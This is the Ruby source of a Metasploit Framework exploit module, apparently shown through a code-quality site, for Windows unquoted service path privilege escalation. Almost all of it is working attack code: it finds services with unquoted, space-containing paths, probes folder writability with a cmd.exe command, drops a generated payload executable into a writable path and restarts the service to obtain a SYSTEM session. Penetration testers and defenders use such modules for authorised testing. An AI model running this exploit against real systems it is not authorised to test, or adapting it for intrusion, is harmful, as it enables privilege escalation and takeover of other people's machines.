rapid7/metasploit-framework

View on GitHub
modules/exploits/windows/local/unquoted_service_path.rb

Summary

Maintainability
B
6 hrs
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE
  include Msf::Post::File
  include Msf::Post::Windows::Services
  include Msf::Exploit::Retry

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Unquoted Service Path Privilege Escalation',
        'Description' => %q{
          This module exploits a logic flaw due to how the lpApplicationName parameter
          is handled.  When the lpApplicationName contains a space, the file name is
          ambiguous.  Take this file path as example: C:\program files\hello.exe;
          The Windows API will try to interpret this as two possible paths:
          C:\program.exe, and C:\program files\hello.exe, and then execute all of them.
          To some software developers, this is an unexpected behavior, which becomes a
          security problem if an attacker is able to place a malicious executable in one
          of these unexpected paths, sometimes escalate privileges if run as SYSTEM.
          Some software such as OpenVPN 2.1.1, OpenSSH Server 5, and others have the
          same problem.

          The offensive technique is also described in Writing Secure Code (2nd Edition),
          Chapter 23, in the section "Calling Processes Security" on page 676.

          This technique was previously called Trusted Service Path, but is more commonly
          known as Unquoted Service Path.

          The service exploited won't start until the payload written to disk is removed.
        },
        'References' => [
          ['URL', 'http://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx'],
          ['URL', 'http://www.microsoft.com/learning/en/us/book.aspx?id=5957&locale=en-us'], # pg 676
          ['URL', 'https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae']
        ],
        'DisclosureDate' => '2001-10-25',
        'License' => MSF_LICENSE,
        'Author' => [
          'sinn3r', # msf module
          'h00die' # improvements
        ],
        'Platform' => [ 'win'],
        'Targets' => [ ['Windows', {}] ],
        'SessionTypes' => [ 'meterpreter' ],
        'DefaultOptions' => { 'WfsDelay' => 300 }, # give a long wait so the box/service can be rebooted
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SERVICE_DOWN ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )
  end

  def check
    services = enum_vuln_services.map { |srv| srv['name'] }
    if services.empty?
      return CheckCode::Safe
    end

    CheckCode::Vulnerable("Vulnerable services: #{services.join(', ')}")
  end

  ###
  # This function uses a loop to go from the longest potential path (most likely with write access), to shortest.
  # >> fpath = 'C:\\Program Files\\A Subfolder\\B Subfolder\\C Subfolder\\SomeExecutable.exe'
  # >> fpath = fpath.split(' ')[0...-1]
  # >> fpath.reverse.each { |x| puts fpath[0..fpath.index(x)].join(' ')}
  # C:\Program Files\A Subfolder\B Subfolder\C
  # C:\Program Files\A Subfolder\B
  # C:\Program Files\A
  # C:\Program
  ###

  def generate_folders(fpath, &block)
    potential_paths = []
    checked_paths = []
    finished = false
    fpath.reverse.each do |x|
      path = fpath[0..fpath.index(x)].join(' ')
      # when we test writability, we drop off last part since that is the file name
      path_no_file = path.split('\\')[0...-1].join('\\')

      next if checked_paths.include? path_no_file

      checked_paths << path_no_file
      unless writable?(path_no_file)
        vprint_error("    #{path_no_file}\\ is not writable")
        next
      end
      vprint_good("    #{path_no_file}\\ is writable")

      finished = block.call(path)
      potential_paths << path
      break if finished
    end

    [potential_paths, finished]
  end

  def enum_vuln_services(&block)
    vuln_services = []

    each_service do |service|
      info = service_info(service[:name])

      # Sometimes there's a null byte at the end of the string,
      # and that can break the regex -- annoying.
      next unless info[:path]

      cmd = info[:path].strip

      # Check path:
      # - Filter out paths that begin with a quote
      # - Filter out paths that don't have a space
      next if cmd !~ /^[a-z]:.+\.exe$/i
      next if !cmd.split('\\').map { |p| true if p =~ / / }.include?(true)

      vprint_good("Found potentially vulnerable service: #{service[:name]} - #{cmd} (#{info[:startname]})")
      serv = {
        'name' => service[:name],
        'cmd' => cmd
      }
      fpath = cmd.split(' ')[0...-1] # cut off the .exe last portion
      vprint_status('  Enumerating vulnerable paths')
      serv['paths'], finished = generate_folders(fpath) do |path|
        block.call(service[:name], path) if block_given?
      end

      # don't bother saving if we didn't find any vuln paths
      vuln_services << serv unless serv['paths'].empty?
      break if finished
    end

    vuln_services
  end

  # overwrite the writable? included in file.rb addon since it can't do windows.
  def writable?(path)
    f = "#{path}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.txt"
    words = Rex::Text.rand_text_alphanumeric(9)
    begin
      # path needs to have double, not single quotes
      c = %(cmd.exe /C echo '#{words}' >> "#{f}" && type "#{f}" && del "#{f}")
      cmd_exec(c).to_s.include? words
    rescue Rex::Post::Meterpreter::RequestError => _e
      false
    end
  end

  def exploit
    print_status('Finding a vulnerable service...')

    @svc_exes = {}
    enum_vuln_services do |svc_name, path|
      #
      # Drop the malicious executable into the path
      #
      exe_path = "#{path}.exe"
      print_status("      Placing #{exe_path} for #{svc_name}")
      exe = @svc_exes[svc_name] ||= generate_payload_exe_service({ servicename: svc_name })
      print_status("      Attempting to write #{exe.length} bytes to #{exe_path}...")
      write_file(exe_path, exe)
      print_good '      Successfully wrote payload'
      register_file_for_cleanup(exe_path)

      #
      # Run the service, let the Windows API do the rest
      #
      if service_restart(svc_name)
        sleep 5 # sleep a bit if restarting the service succeeded to see if any sessions are created
      else
        print_error '      Unable to restart service. System reboot or an admin restarting the service is required. Payload left on disk!!!'
      end

      session_created? # propagated up to indicate if we're finished or not
    end

    # if no exes were created, no vulnerable service paths were found
    fail_with(Failure::NotVulnerable, 'No service found with trusted path issues') if @svc_exes.empty?

    print_status("Waiting #{wfs_delay} seconds for shell to arrive") unless session_created?
  end

  def service_restart(name)
    print_status("[#{name}] Restarting service")
    super
  rescue RuntimeError => e
    print_error("[#{name}] Restarting service failed: #{e}")
    false
  end
end